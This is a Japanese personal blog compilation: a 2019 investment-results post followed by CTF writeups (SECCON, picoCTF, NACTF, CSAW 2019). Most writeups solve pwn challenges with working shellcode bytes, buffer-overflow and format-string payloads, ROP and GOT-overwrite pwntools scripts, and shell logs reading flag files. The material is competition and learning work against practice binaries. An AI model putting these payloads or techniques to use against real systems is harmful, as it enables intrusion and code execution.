2019年運用成績 & おまけ

2019年運用成績 & おまけ

概要

運用ポリシーと2017年・2018年は以下.

yuta1024.hateblo.jp

yuta1024.hateblo.jp

結果

去年がひどかった分,今年は良かったです.

f:id:yharima:20191231211649p:plain

来年からの変更点

  • ボーナス月に増すのをやめて月10万で120万使い切る(均したほうが状況がわかりやすい,という理由なだけ)

悩み

S&P 500 とか有能な商品が増えてきたので買いたいなぁ…

おまけ

某プラベでボコられた結果,全ルール X になれました. f:id:yharima:20191231212007p:plain

SECCON CTF 2019 国内決勝 writeup

SECCON CTF 2019 国内決勝 writeup

yharima チームで参加.
アタックポイント 1000 pts + ディフェンスポイント 631 pts の計 1631 pts で 7位でした(去年と同じ順位だった).

今回は,問題ごとではなく思い出せる範囲で時系列順で書きます.
ソースコードは末尾にリンクを貼っておきます.

f:id:yharima:20191222234154j:plain

問題概略

  • 壱: バイナリが与えられて UDP パケット投げるとフラグが書き込める
  • 弐: 画像アップロードしてなんかするらしい(見てない)
  • 参: 多種多様なアーキテクチャのバイナリが与えられて BOF するやつ
  • 四: 予選の reversing 問題みたいなバイナリとトレースが与えられて再現するやつ
  • 伍: sname game の AI を各チームでバトらせて1位だとディフェンスポイントが得れる
  • 六: Jeopardy 形式で色々な問題があった

1日目

とりあえず壱のバイナリを読む,がなんかポート番号がおかしい.
ローカルでいくつかの index を与えて起動しても問題文のポート番号の計算と合わない.
:thinking: となっていたら問題修正が入った,別のメンバーが nc してひとまずフラグゲット.

次のディフェンスポイントはどうやら UDP パケットと token 投げつけると次の port が与えられて10回?やるといいらしい,ということをバイナリ読んで理解する.
ただ,なんか途中でポート見失うとそのポート特定しないと何の応答もできなくなるので,半分詰んでしまうきつい問題だった. 既にアタックフラグを取ったメンバーがやってたのでバイナリ読んだ情報だけ共有して次の問題へ.

どうやらこの問題,最後は UDP パケットを受け付ける時間が短くなっていくようで相当つらそうだった.

複数のアーキテクチャのバイナリが与えられる. BOF があるのでなんとかするっぽい感じだった.
ARM のバイナリは読めそうだったので色々 qemu とか入れて試行錯誤したけど,どう頑張ってもうまく起動しない.
起動しないと exploit 書くことすらできずひたすらスタート地点にも立てず無限に時間を溶かしてた.

気分転換に見てみるとどうやら snake game の AI を使って他のチームの AI とバトらせて1位をとるとディフェンスポイントもらえるらしい.
とりあえず動作させて BFS したりする簡単な実装してみたけど1日目は全然勝てず終了した.

1日目と2日目の間

1pts も点数を取れないまま1日目が終わり,無力感を噛み締めながら UDX のフードコートでラーメンを食べた.

正直家に帰ってこのままでは人権すらなく,椅子を温めるだけになりそうで本気で危機感を感じる.
まずは, ARM のバイナリを動かすために色々ビルドしたりしたけどやっぱり動かない.
正確には動くけど gets 途中でなぜか落ちる.でもエラーコードは返さず正しく終了する.もうこれは無理だ…と見切りつける.

CTF だし伍の snake game の AI それなりの書けばディフェンスポイントで人権得れるのでは?と考え実装を始める.まさかあんな過酷な戦いになるとはこのときは思いもしなかったのであった…. 満足するものがすぐにはできず,結局朝5時くらいまで実装していた.この時点では以下の実装になっていた.

  • Python 側は必要な出力だけを吐いて C++ で答えそ返す
  • 1つ目の Apple をとるまでは最短のものを探す
  • それ以降は mini-max で探索(深さ9)
  • 評価関数は勝利条件である自身と敵の長さの差(死ぬ場合はそちらのほうが評価値が高い)

2日目

8:30 に起床.正直くそ眠くてあんまり記憶がない.ただ,俺ディフェンスポイントとったらもう会場で寝るんだ…というお気持ちで会場へ.しかしここからが本当の戦いだった.

初めて1位になるまで

10時開始とともに AI を投入するも勝てない….
評価関数が良くなく, Apple をとりにいくことを優先させる結果死んでしまうようだった.
元々構想としてあった,評価関数に movable_count というその時点でいる場所から移動可能なマスの総数を組み込んでみた. この時点では評価関数は以下.

  • 優先するのは長さの差
  • 長さが同じ場合は movable_count が大きいほう

これでしばらく動かしていると結構勝ち始め,ついに 12:20 くらいに1位に躍り出る.この時点でのスコアは 1801.8463296316543 だった.
嬉しくて写真撮影をする.

f:id:yharima:20191223001559j:plain

防衛1: 小手先パッチ

みんなそんな本気じゃないだろうし,ここからいい感じにメンテナンスしつつ大きくアルゴリズム変えなくても大丈夫だろう,と思っていたが1時間くらい?すると負け始めまたフラグが奪われる.

どうもゲーム内容をみていると,大きいマップが降ってきたときに生き残るよりも自身の長さを大きくしすぎる結果,ターン終了までに自身の tail のせいで詰んでしまうケースが結構あった(戦ってる AI は生き残ることに全力なような動きでこれは厳しいという感じ).
しょうがないので小手先のパッチである,自身と敵の長さが10以上(10は適当に決めた)ある場合は評価関数の優先順位を入れ替えるようにした.具体的には以下.

  • 優先は movable_count が大きいほう
  • 同じ場合は長さの差

この小手先パッチは意外と活躍し,それなりに防衛した.

防衛2: 残りターン数の導入

元々気になっていた残りターンを拾えてなくて,勝てる試合なのにゲーム終了以降も探索して変な動きをした結果負ける,みたい試合があった.
やはり負け始め,このあたりの問題を起こしているケースがあったので Python のコードを読んでいるとやはり残りターン数は渡ってきているようだった.
最初から見ておけよ…というのは :hyakuriaru: のですが,面倒だったので….サンプルに書いておいてほしかった.
ターン数が 0 の場合はその時点で結果を返すようにするとまた勝ち始める.もうこのあたりで消耗戦感ができてもう許して…って感じだった.もちろん許してもらえない.

最終防衛まで: alpha-beta 法の導入とセグフォ

もう許して…あとできることは,探索の深さを上げるくらいで alpha-beta 法くらいしかないな…と思ってしばらく様子みていると負け始める.
このあたりはもう3チームくらいとデッドヒートを繰り広げていて,フラグの激しい奪い合いだった.

alpha-beta 法を導入し,探索の深さを 9 から 13 へ.ローカルでは alpha-beta 法導入前の AI とバトらせていい成績が出たので投入する.
デプロイするとセグフォで死ぬ…なぜ?と思っている間にすごい勢いでスコアが下がっていく.
死にたい気持ちになりながら見てもよくわからず,もっかいビルドして投げ込むと動き始めた.変なバイナリなげちゃったのか結局何が問題だったのかわからなかった.

動き始めるとやはり深く読めるようになったのか,ここからは勝ち始め最後まで防衛に成功した.
KMC がすごい勢いで追い上げてきてもうひたすら祈っていた.

5秒前のスコア一覧は以下(10.5.1.45:9999 はうちのチーム).

{
    "score": {
        "10.5.1.48:9999": 1149.9201212027613, 
        "10.5.1.42:9999": 1596.4466710856354, 
        "10.5.1.37:9999": 1076.2148700052967, 
        "10.5.1.43:9999": 1846.3636003307793, 
        "10.5.1.45:9999": 1939.8270648109706, 
        "10.5.1.47:9999": 1229.7707035460242, 
        "10.5.1.44:9999": 1926.9832289707224, 
        "10.5.1.38:9999": 1601.2914897880303, 
        "10.5.1.39:9999": 1167.5223517980698, 
        "10.5.1.33:9999": 1265.149764353398, 
        "10.5.1.41:9999": 1101.8125012462992, 
        "10.5.1.46:9999": 1656.1592175341061, 
        "10.5.1.40:9999": 1801.4429520529613, 
        "10.5.1.34:9999": 1611.6238491044064, 
        "10.5.1.36:9999": 1243.9137867412862, 
        "10.5.1.35:9999": 1785.5578274292523
    }, 
    "result": {
        "1st": [
            "10.5.1.45:9999", 
            "14ab47837ca97d08d89c49dde8fedb55"
        ]
    }
}

結果

最終的には 500pts をゲットしていたらしい.

f:id:yharima:20191223003606j:plain

懇親会

snake game の話を最後までバトっていた R19, p3r0zm の チームの人と少し話せた.楽しかった.
が,もうひたすら眠くて厳しかったので途中で抜けました.帰ってほぼさっきまで寝てました.

まとめ

自分はセキュリティ要素皆無でしたが, AI バトル楽しかった.
無事 500 pts の人権を得れたので本当に良かった.取れなかったら椅子を温めているだけだったので….
2年連続出場だけど今年は繰り上がりだったので,来年はちゃんと出れるようになりたい.

f:id:yharima:20191223004522j:plain

おまけ

ソースコードは以下においてあります.色々実装がアレなのはお許しください.
盤面コピーとか無駄なことしまくっててなんで…ってお気持ちが今見て湧いてます.

https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2019_Domestic

他のメンバーの writeup

blog.nhiroki.net

SECCON CTF 2019 QUALS writeup

SECCON CTF 2019 QUALS

yharima で参加.今回は6人で参加.
自分にあまり人権はなかったが,メンバーが頑張ってくれて 1954pts で 45位.決勝は厳しそう.
pwn 担当なのでいつも通り pwn ばっかり手を出してたけど爆死しました.

ソース: https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2019_QUALS

f:id:yharima:20191020162004p:plain

Beeeeeeeeeer

最初は pwn がなかったので適当に手を出した.
実行するとわけわからん感じだけど,中身をみるとやたら長い base64 エンコードされたものがある.
echo <やたらながい> |base64 -d|gunzip|bash 圧縮されてるし解凍して bash に詳してるし怪しい.
この部分を取り出すと for 文が回ってたりするがまた長い base64 がある.
ただ今度は暗号化されてるようで echo <やたらながい> |base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash; となっている.
$n は上のほうでランダムに決定されていて取りうる範囲は 1 - 10 なので適当に1から10ためしてみると3で復号できる.
また難読化されたものがでるが,末尾が SECCON{$S1$n$_____};echo -e '\033[?7h';となっていてフラグっぽい.
$n3 として $S1 は? と思ったけどメンバーがすでに解析終わっていたようで hogefuga らしい.
あとは $_____ だけどどうすれば…とおもっていたらメンバーが順番に echo していけば読めると教えてくれたので読んでいくとどうやら bash らしい.
というわけで bash といれてみると,以下のようになった.

$ S1=hogefuga n=3 bash beer3
Enter the password
bash
Good Job!

                                                                                                                            }

どゆこと…?でも Good Job だからあってるんだよなあとおもって strace にかける,

$ S1=hogefuga n=3 strace bash beer3
(snip)
write(1, "Good Job!\n", 10Good Job!
)             = 10
write(1, "\n", 1
)                       = 1
write(1, "\33[?7l                           "..., 1024                                                                      4
write(1, "     ", 5     )                    = 5
write(1, "SECCON{hogefuga3bash}\n", 22SECCON{hogefuga3bash}
) = 22
write(1, "\33[?7h\n", 6
)                = 6
read(255, "", 8192)                     = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
exit_group(0)                           = ?
+++ exited with 0 +++

フラグでとるやん!制御文字でクリアでもされているのか?という話に.
というわけで SECCON{hogefuga3bash} が答え.

Sum

実行すると数字を与えて最後に 0 を入れると加算結果を表示してくれる.
1 1 1 1 0 みたいなのはいいけど 1 1 1 1 1 0 みたいにするとセグフォで落ちる.

=> 0x40077a <sum+35>:   mov    QWORD PTR [rax],0x0

このときに rax0x0で入力を他の数字にかえてみる.(1 1 1 1 1 1).

=> 0x40077a <sum+35>:   mov    QWORD PTR [rax],0x0

どうも6個目の入力のアドレス先に 0 を代入してるらしい.さらに読み進めていくとここに加算された結果を足しこんでいくようだ.
ということは任意のアドレスを書き換えることができる.ひとまず書き換えが1回だけでは何も出来ないので main が何回も実行されるようにしたい.
6個以上入力を食わすと exit されるので exit の got を上書きして main に飛ぶようにする.
注意しないといけないのは6個の合計値が加算されるので,書き換えたい先のアドレス分の値は引いておかないといけない.
ここまできたら libc のアドレスを leak して one_gadget のアドレスを求めたら exit の got を上書きして飛ばしてあげれば良い.
ただ,libc を leak する方法で迷走した.GOT を上書きしてなんとかしたいが,都合よく libc のアドレスを leak できそうな引数をとってるものがない.
setup をみると setvbuf0x601060(stdout) が指定されていてちょっと使えそうなきがしたのでまず exit => main から exit => _start にして setup が何度も呼ばれるようにする.
そして setvbufputs に書き換えて実行してみるもどうもそれっぽい値がでない.
ここから迷走したが最終的には 0x601060 にさらに puts@got のアドレスを書き込んでやると libc が leak できたのであとは one_gadget に飛ばした.他にいい方法がありそうな気もする.

https://github.com/yuta1024/ctf_log/blob/master/SECCON_CTF_2019_QUALS/sum/sum.py

$ python sum.py
[+] Opening connection to sum.chal.seccon.jp on port 10001: Done
[+] libc_base addr = 0x7fee79528000
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sum
sys
tmp
usr
var
$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}

まとめ

2問しかも1つは半分くらいメンバーも手を出していたので人権1.5だった.
pwn 難しすぎなのと heap から逃げてたけどいい加減向き合うことにします. one は解けないといけない問題であった‥.
決勝でれたらいいな….

嘆き

lazy

無限に時間を溶かした上に解けなかった問題.
ID/PASS は BOF して抜いてバイナリを拾ってくるまでは簡単.
さらに BOF があるので ROP し放題なわけだが libc をダウンロードできない.
無理やり ROP してダウンロードしてみるも 4MB くらいで EOF が返ってくる.
中の関数などを使って直接フラグを表示させる方法も試行したが,おそらくシェルをとってその上で同じディレクトリにある cat コマンドを使わないとだめな雰囲気を感じた. 以下のようにフラグファイルが見えて他のファイルが読めたので心がつらかった.

$ python lazy.py
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done

[+] Receiving all data: Done (193B)
[*] Closed connection to lazy.chal.seccon.jp port 33333
run.sh
lazy
ld.so
cat
.profile
libc.so.6
810a0afb2c69f8864ee65f0bdca999d7_FLAG
.bashrc
q
.bash_logout
run.sh
Sending 68 bytes#!/bin/sh

export HOME="/home/lazy"
./ld.so --library-path . ./lazy
$ python lazy.py
[+] Opening connection to lazy.chal.seccon.jp on port 33333: Done

[+] Receiving all data: Done (52B)
[*] Closed connection to lazy.chal.seccon.jp port 33333
810a0afb2c69f8864ee65f0bdca999d7_FLAG
No such file!

もっと勉強します….

追記

繰り上げで国内決勝に出れることになりました! :tada:

picoCTF 2019 writeup

picoCTF 2019

いつもどおり yharima で,でも今回も一人だった.
さすがに問題多すぎるというのと, SECCON に向けての練習ということでほぼ pwn しかやらなかった.
7300pts で 1833th. 参加者めちゃくちゃ多いっすね….

数も多いので pwn だけ writeup 書きます.コードは以下.
ctf_log/picoCTF_2019 at master · yuta1024/ctf_log · GitHub

handy-shellcode

32bit のシェルコード流せばOK.

$ (perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��
                    ̀
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_4dc9a786}

practice-run-1

実行するだけ.

$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}

OverFlow 0

BOF させるだけ.

$ perl -e 'print "A" x 256' | xargs ./vuln
picoCTF{3asY_P3a5yf663660d}

OverFlow 1

BOF させてフラグ表示する関数に飛ばす.

$ perl -e 'print "A" x 76 . "\xe6\x85\x04\x08"' | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)

NewOverFlow-1

64bit なだけ.なぜか flag 関数の先頭だとうまくいかなかったのでずらしたら動いた.

$ perl -e 'print "A" x 72 . "\x68\x07\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_cfe23f2b}

slippery-shellcode

nop おいて滑らすだけ.

$ (perl -e 'print "\x90" x 256 . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80\n"'; cat) | ./vuln
Enter your shellcode:
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Rh//shh/bin��RS��B
                                                                             ̀
Thanks! Executing from a random location now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

NewOverFlow-2

問題ミスとしか思えない.本当は ROP させたいんだろうけど flag 関数が残ってるので1と同じ.

$ perl -e 'print "A" x 72 . "\x4e\x08\x40\x00\x00\x00\x00\x00\n"' | ./vuln
Welcome to 64-bit. Can you match these numbers?
picoCTF{r0p_1t_d0nT_st0p_1t_e51a1ea0}

OverFlow 2

引数をとるようにするだけ.

$ perl -e 'print "A" x 188 . "\xe6\x85\x04\x08" . "A" x 4 . "\xef\xbe\xad\xde" . "\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn598632d70}

CanaRy

canary は固定なので 1byte づつ canary を総当たりして leak させる.
全部 leak させたら戻りアドレスの末尾 2byte を display_flag のアドレスにする.
ただし, objdump でみると 000007ed <display_flag> となっており 0xed はいいにしても 0x07 の部分は 0x07 から 0xf7 までとりうる.
これは確定できないので適当な値を決め打ちして何回か実行したらそのうちあたる.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/canary/canary.py

$ python /tmp/yuta1024/canary.py
[+] Starting local process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln': pid 3566097
[+] Receiving all data: Done (71B)
[*] Process '/problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328/vuln' stopped with exit code -11 (SIGSEGV) (pid 3566097)
Ok... Now Where's the Flag?
picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0bd260ce}

leap-frog

win1 && !win1 みたいなふざけた条件があって普通に関数をよんでもだめ.
win1, win2, win3グローバル変数で連続しているので win1 を引数に gets を読んで 3byte 埋めてから display_flag を呼び出してあげれば良い.
はたして想定解法なのか…?

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/leap-frog/leap-frog.py

$ python /tmp/yuta1024/leap-frog.py
[+] Starting local process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop': pid 4130613
[+] Receiving all data: Done (50B)
[*] Process '/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c/rop' stopped with exit code -11 (SIGSEGV) (pid 4130613)
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_f60266f9}

stringzz

FSB があるので適当に %x 並べてフラグが格納されてるアドレス位置をみつけたらそこを %s するだけ.

$ ./vuln
input whatever string you want; then it will be printed back:

%37$s
Now
your input
will be printed:

picoCTF{str1nG_CH3353_0814bc7c}

GoT

タイトル通り GOT を上書きするだけ.
しかもご丁寧にアドレスを読み込んで任意の値にしてくれる.書き換えるのは最後の exit の GOT.
exit の GOT は 0x804a01c で 10進数になおすと 134520860.
win のアドレスは 0x00485c6134514118.

$ ./vuln
You can just overwrite an address, what can you do?

Input address

134520860
Input value?

134514118
The following line should print the flag

picoCTF{A_s0ng_0f_1C3_and_f1r3_9463c919}

seed-sPRiNG

srand(time(NULL)) したあと rand() & 0xf してるだけなので時間さえ合わして同じシードにしたらローカルで計算した乱数と一致する.
サーバタイムは普通に date すればわかるので適当にずれているなら待てばいい.

$ date && nc 2019shell1.picoctf.com 21871
2019年 10月  4日 金曜日 01:06:47 JST



                          #                mmmmm  mmmmm    "    mm   m   mmm
  mmm    mmm    mmm    mmm#          mmm   #   "# #   "# mmm    #"m  # m"   "
 #   "  #"  #  #"  #  #" "#         #   "  #mmm#" #mmmm"   #    # #m # #   mm
  """m  #""""  #""""  #   #          """m  #      #   "m   #    #  # # #    #
 "mmm"  "#mm"  "#mm"  "#m##         "mmm"  #      #    " mm#mm  #   ##  "mmm"



Welcome! The game is easy: you jump on a sPRiNG.
How high will you fly?

LEVEL (1/30)

Guess the height: 8
LEVEL (2/30)

Guess the height: 6
LEVEL (3/30)

Guess the height: 5
LEVEL (4/30)

Guess the height: 8
LEVEL (5/30)

Guess the height: 13
LEVEL (6/30)

Guess the height: 12
LEVEL (7/30)

Guess the height: 13
LEVEL (8/30)

Guess the height: 15
LEVEL (9/30)

Guess the height: 11
LEVEL (10/30)

Guess the height: 3
LEVEL (11/30)

Guess the height: 14
LEVEL (12/30)

Guess the height: 8
LEVEL (13/30)

Guess the height: 4
LEVEL (14/30)

Guess the height: 1
LEVEL (15/30)

Guess the height: 15
LEVEL (16/30)

Guess the height: 9
LEVEL (17/30)

Guess the height: 8
LEVEL (18/30)

Guess the height: 10
LEVEL (19/30)

Guess the height: 12
LEVEL (20/30)

Guess the height: 7
LEVEL (21/30)

Guess the height: 6
LEVEL (22/30)

Guess the height: 13
LEVEL (23/30)

Guess the height: 5
LEVEL (24/30)

Guess the height: 8
LEVEL (25/30)

Guess the height: 1
LEVEL (26/30)

Guess the height: 1
LEVEL (27/30)

Guess the height: 0
LEVEL (28/30)

Guess the height: 4
LEVEL (29/30)

Guess the height: 5
LEVEL (30/30)

Guess the height: 10
picoCTF{pseudo_random_number_generator_not_so_random_454fbf9b8595fa66a87547e520351217}Congratulation! You've won! Here is your flag:

L1im1tL355

main 関数内で stack に積んでる array[666] は負の index を与えることができる.
replaceIntegerInArrayAtIndex に飛んだ先で戻りアドレスの値を win のアドレスに書き換えてあげればいい.
main から replaceIntegerInArrayAtIndex を呼び出してるので負値の index を与えるといい感じに書き換えれる.

$ ./vuln
Input the integer value you want to put in the array

134514118
Input the index in which you want to put the value

-5
picoCTF{str1nG_CH3353_5243a217}

rop32

/bin/sh がないので gets を使って bss の適当な場所に入力する.
あとはレジスタを pop gadget でいい感じにして int 0x80 してシェルを起動する.
gets は改行がくるとだめなので pop eax; ret; みたいな gadget だとアドレスに 0x0a があってだめだった.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop32/rop32.py

$ python ~/rop32.py
[+] Starting local process '/problems/rop32_1_c4f09c419e5910665553c0237de93dcf/vuln': pid 2046935
[*] Switching to interactive mode
$ ls -l
total 656
-r--r----- 1 hacksports rop32_1        31 Sep 28 21:54 flag.txt
-rwxr-sr-x 1 hacksports rop32_1    661832 Sep 28 21:54 vuln
-rw-rw-r-- 1 hacksports hacksports    466 Sep 28 21:54 vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_b6597626}

rop64

x86_64 にするだけ.

https://github.com/yuta1024/ctf_log/blob/master/picoCTF_2019/rop64/rop64.py

$ python ~/rop64.py
[+] Starting local process '/problems/rop64_4_a266556e68202c0c42d6c14f6c7102b3/vuln': pid 1560430
[*] Switching to interactive mode
$ ls
flag.txt  vuln    vuln.c
$ cat flag.txt
picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_5e28dda5}

まとめ

pwn は全部解きたかったけどいつの間にか終わってた.heap 系苦手‥.

NACTF 2019 writeup

NACTF 2019

yharima で参加…だけど今回も一人.かつぬるく参加して主に pwn だけに手を出した.
メインでやったのは pwn なので pwn だけ writeup を書く.
今回ソースコードは付いてるが読まない縛りをした.

ソース: https://github.com/yuta1024/ctf_log/tree/master/NACTF_2019

f:id:yharima:20190923193304p:plain

BufferOverflow #0

セグフォを起こすと win 関数が呼ばれて flag が表示される.
というわけで適当に BOF させてあげれば良い.

$ python bufover-0.py
[+] Opening connection to shell.2019.nactf.com on port 31475: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to shell.2019.nactf.com port 31475
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You win!
flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}

BufferOverflow #1

単純に BOF があって EIP 奪えるので BOF させて win 関数に飛ぶようにすれば良い.

$ python bufover-1.py
[+] Opening connection to shell.2019.nactf.com on port 31462: Done
[+] Receiving all data: Done (91B)
[*] Closed connection to shell.2019.nactf.com port 31462
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x0!
You win!
flag: nactf{pwn_31p_0n_r3t_iNylg281}

BufferOverflow #2

BOF があって EIP が奪えて win 関数に飛ばせば良い.
が, win 関数が適切な引数を取る必要があるので引数に取るようにしてあげれば良い.
Hopper で読んでいる感じだと3つ引数を取る必要があって 0x14b4da55, 0x0, 0xf00db4be を順番に取らないとだめっぽい?

$ python bufover-2.py
[+] Opening connection to shell.2019.nactf.com on port 31184: Done
[+] Receiving all data: Done (101B)
[*] Closed connection to shell.2019.nactf.com port 31184
You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0AAAAUڴ\x14!
You win!
flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}

Format #0

タイトル通り FSB がある.
フラグ自体は読み込まれていてそのアドレスがスタックに詰まれてるので,そこを表示するようにすれば良い.

$ python format-0.py
[+] Opening connection to shell.2019.nactf.com on port 31782: Done
[+] Receiving all data: Done (52B)
[*] Closed connection to shell.2019.nactf.com port 31782
You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}

Format #1

次は読み出すのではなく書き換えが必要.
といっても書き換え対象はスタックに詰まれてる.値は 42 にしてあげれば良い.

$ python format-1.py
[+] Opening connection to shell.2019.nactf.com on port 31560: Done
[+] Receiving all data: Done (98B)
[*] Closed connection to shell.2019.nactf.com port 31560
You typed:                                          @
You win!
nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}

Loopy #0

適当な GOT のアドレスを leak させて BOF してもう1回 main を実行させる.
leak したアドレスから libc のベースアドレスを計算して BOF させて system を実行させれば良い.

$ python loopy-0.py
[+] Opening connection to shell.2019.nactf.com on port 31283: Done
[+] libc_base_addr = 0xf7d04000
[*] Switching to interactive mode
You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$
$ ls
flag.txt
loopy-0
$ cat flag.txt
nactf{jus7_c411_17_4g41n_AnZPLmjm}

Loopy #1

Loopy #0 と同じだが SSP が有効になっていて BOF させて EIP を自由に操作することはできない.

FSB は健在なのでまず GOT を leak するのと __stack_chk_fail の GOT を main に書き換える.
適当な GOT をリーク + わざと BOF させて __stack_chk_fail を呼び出し main を再度呼び出す. これで1回目は libc のベースアドレスを求めれる.

2回目は libc のベースアドレスを知っているのでなにかの GOT を system に書き換えることはできる.
ただし /bin/sh を引数に取らないとだめなので自由な値を渡すことができる関数を書き換える必要がある.
printf は入力を受け取った buffer をそのまま渡してるのでこいつを system に書き換えてあげれば良い.
__stack_chk_fail はすでに main に書き換えてあるので BOF さえすればまた main から呼び出される.

3回目は特に何かする必要はなく入力に /bin/sh を食わせてあげれば良い.

$ python loopy-1.py
[+] Opening connection to shell.2019.nactf.com on port 31732: Done
[+] libc_base_addr = 0xf7d08000
[+] system_addr = 0xf7d46c00
[*] Switching to interactive mode
$ ls
flag.txt
loopy-1
$ cat flag.txt
nactf{lo0p_4r0und_th3_G0T_VASfJ4VJ}

まとめ

FSB 利用して exploit を書くのが苦手.32bit なの久々だった.
pwn は全部解けたので良かった.割と教育的な問題だった印象.でも32bitって最近見ないのがどうなのか,と気にはなった.

CSAW CTF 2019 Quals writeup

CSAW CTF 2019 Quals writeup

いつもどおり yharima で参加…と思いきや一人でした.
久々の CTF だったのと,人も集まらなかったのでぬるりと参加していました.
pwn にだけ手をだして 201 pts の 339th. 難しかった.

ソース: ctf_log/CSAW_CTF_2019_Quals at master · yuta1024/ctf_log · GitHub

f:id:yharima:20190919000742p:plain

mcgriddlev2

pwn だけといいつつ warmup だけは投げた.
flag{W3lcome_7o_CSAW_QUALS_2019!}

baby_boi

繋ぎにいくと何かのアドレスを教えてくれる.しかも懇切丁寧にソースコードもある.
ソースを読むとどうやら printf のアドレスを表示しているらしい.
そのあと露骨に BOF脆弱性がある gets が実行されてプログラムが終了する.
libc も付属しているので printf のアドレスから libc の base アドレスを求める.
あとは one-gadget のアドレスを探索して BOF + one-gadget のアドレスでシェルが立ち上がる.
前回5時間溶かしたので今回はしっかり経験を活かした.
flag{baby_boi_dodooo_doo_doo_dooo}

from pwn import *

context.arch = 'amd64'
con = remote('pwn.chal.csaw.io', 1005)

con.recvline()
msg = con.recvline().strip()

print msg
libc_base_addr = int(msg[13:], 16) - 0x064e80

print "[+] libc_base_addr = 0x%x" % libc_base_addr

payload = 'A' * 40
payload += pack(libc_base_addr + 0x4f322)
con.sendline(payload)

con.interactive()

gotmilk

名前からして露骨に GOT overwrite をする問題だから format string の脆弱性があるんだろうと予想する.
%x とか食わしてみると予想通りアドレスが表示されるので GOT overwrite すればいい.
何をどう上書きするかについては lose という関数の GOT を win に書き換えればいい.
win0x1189lose0x11f8 なので libmylib.so がどこのアドレスにリンクされるかの興味は一切なく,
末尾の 0xf80x89 に書き換えればいい.leak させる必要もない.hhn でやる. flag{y0u_g00000t_mi1k_4_M3!?}

from pwn import *

context.arch = 'i386'

con = remote('pwn.chal.csaw.io', 1004)

con.recvregex('GOT milk\? ')

con.sendline(pack(0x804a010) + '%133c%7$hhn%7$s')

print con.recvline().strip()[13:].encode('hex')
print con.recvall()

Twitch plays shellcode

正気度を疑う問題.x86_64 のシェルコードを twtich のチャットから入力して実行させる問題.
ただしどの行のどの列をどの値にするかはすべてチャット参加者の投票で決まる.なのでもちろん妨害もされる.

https://www.twitch.tv/csawtv

しばらく眺めていると結構いい感じに進んでいるタイミングを発見.結局色々あって2時間くらいかかっていた.
途中状況がわかってない人や荒らしっぽい人が入ってきてマジギレしてる人とかいて殺伐としていた.問題としてどうなのか….
最終的に実行されたシェルコードは以下だったはず.

\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x74\x77\x69\x74\x63\x68\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05

最終的にフラグは以下.
flag{https://www.youtube.com/watch?v=pGFGD5pj03M} f:id:yharima:20190919003135p:plain

small_boi

コンテスト中は解けなくて後から解いた.

